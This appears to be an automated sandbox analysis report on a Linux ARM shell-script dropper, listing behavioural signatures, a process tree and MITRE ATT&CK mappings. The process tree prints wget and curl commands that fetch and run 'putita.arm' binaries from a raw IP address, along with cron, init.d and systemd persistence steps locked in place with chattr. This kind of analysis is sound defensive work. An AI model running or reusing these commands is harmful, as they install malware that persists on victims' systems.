Analysis
- max time kernel
147s - max time network
144s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
20/07/2026, 18:02
General
- Target callaputa.sh
- Size 1KB
- Sample260720-wmprdsav8n
- SHA256 3aa1c4520ba133e1ed4c4da2a6001e24a49eb0a77d5596b38db4f2d5c5aa00b6
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 8 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Modifies Bash startup script 2 TTPs 8 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 6 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/callaputa.sh/tmp/callaputa.sh1⤵
- Executes dropped EXE
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x putita.arm2⤵
- File and Directory Permissions Modification
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/tmp/putita.arm./putita.arm2⤵
- Deletes itself
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads runtime system information
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/bin/shsh -c "crontab -l 2>/dev/null"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/lib/kworker-helper') | crontab - 2>/dev/null"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
-
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/usr/bin/wgetwget http://64.89.163.215/bins/putita.arm52⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://64.89.163.215/bins/putita.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busyboxchattr +i /etc/init.d/kworker-helper1⤵
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/usr/bin/chattrchattr +i /etc/init.d/kworker-helper1⤵
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/usr/bin/chattrchattr +i /etc/systemd/system/kworker-helper.service1⤵
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/usr/bin/chattrchattr +i /usr/lib/kworker-helper1⤵
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/bin/busyboxchattr +i /usr/lib/kworker-helper1⤵
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/bin/busyboxchattr +i /etc/systemd/system/kworker-helper.service1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Replay Monitor
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Downloads
kworker-helper
kworker-helper.service
.ashrc
putita.arm
tmp.gzNPos